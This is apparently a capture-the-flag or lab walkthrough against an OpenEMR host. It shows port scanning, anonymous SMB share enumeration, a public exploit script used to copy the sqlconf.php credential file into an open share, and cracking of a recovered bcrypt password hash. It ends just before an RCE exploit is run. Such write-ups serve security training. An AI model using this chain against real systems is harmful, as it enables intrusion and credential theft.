$ nmap -p- --min-rate 3000 192.168.183.145
Starting Nmap 7.93 ( https://nmap.org ) at 2023-07-11 22:07 +08
Nmap scan report for 192.168.183.145
Host is up (0.17s latency).
Not shown: 65532 filtered tcp ports (no-response)
PORT STATE SERVICE
80/tcp open http
445/tcp open microsoft-ds
3306/tcp open mysql
Interesting ports open.
SMB Enumeration
Using smbmap, we can find some shares that are open.
$ smbmap -H 192.168.183.145
[+] Guest session IP: 192.168.183.145:445 Name: 192.168.183.145
Disk Permissions Comment
---- ----------- -------
print$ NO ACCESS Printer Drivers
docs READ ONLY Documents
IPC$ NO ACCESS IPC Service (APEX server (Samba, Ubuntu))
The docs share just had some files related to OpenEMR:
$ smbclient -N //192.168.183.145/docs
Try "help" to get a list of possible commands.
smb: \> ls
. D 0 Fri Apr 9 23:47:12 2021
.. D 0 Fri Apr 9 23:47:12 2021
OpenEMR Success Stories.pdf A 290738 Fri Apr 9 23:47:12 2021
OpenEMR Features.pdf A 490355 Fri Apr 9 23:47:12 2021
Web Enumeration -> FileManager LFI
Port 80 shows a medical website:
SMB enumeration revealed that this website might be running a vulnerable version of OpenEMR, and there are quite a few RCE exploits for OpenEMR.
However, most of these require credentials. I scanned the website for potential directories to other services, and found a File Manager using gobuster:
There was something blocking us from reading PHP files here, and its probably the .htaccess file. Within the FileManager instance, I noticed that the same PDFs on SMB were present within it.
The LFI exploit copies and pastes files into directories, and this means that we should be able to read the file from the SMB share. We just need to modify the paste_clipboard function within the exploit:
After changing the directories a few times, I got it within the SMB share:
$ python3 49359.py http://192.168.183.145 PHPSESSID=86a4n0gbbc9klrmvq461tnfk8n /var/www/openemr/sites/default/sqlconf.php
[*] Copy Clipboard
[*] Paste Clipboard
$ smbclient -N //192.168.183.145/docs
Try "help" to get a list of possible commands.
smb: \> ls
. D 0 Tue Jul 11 22:30:24 2023
.. D 0 Tue Jul 11 22:20:07 2023
sqlconf.php N 639 Tue Jul 11 22:30:24 2023
OpenEMR Success Stories.pdf A 290738 Fri Apr 9 23:47:12 2021
OpenEMR Features.pdf A 490355 Fri Apr 9 23:47:12 2021
$ john --wordlist=/usr/share/wordlists/rockyou.txt hash
Using default input encoding: UTF-8
Loaded 1 password hash (bcrypt [Blowfish 32/64 X3])
Cost 1 (iteration count) is 32 for all loaded hashes
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
thedoctor (?)
1g 0:00:00:06 DONE (2023-07-11 22:36) 0.1474g/s 6430p/s 6430c/s 6430C/s versus..telmo
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
Afterwards, we can run the RCE exploit for OpenEMR: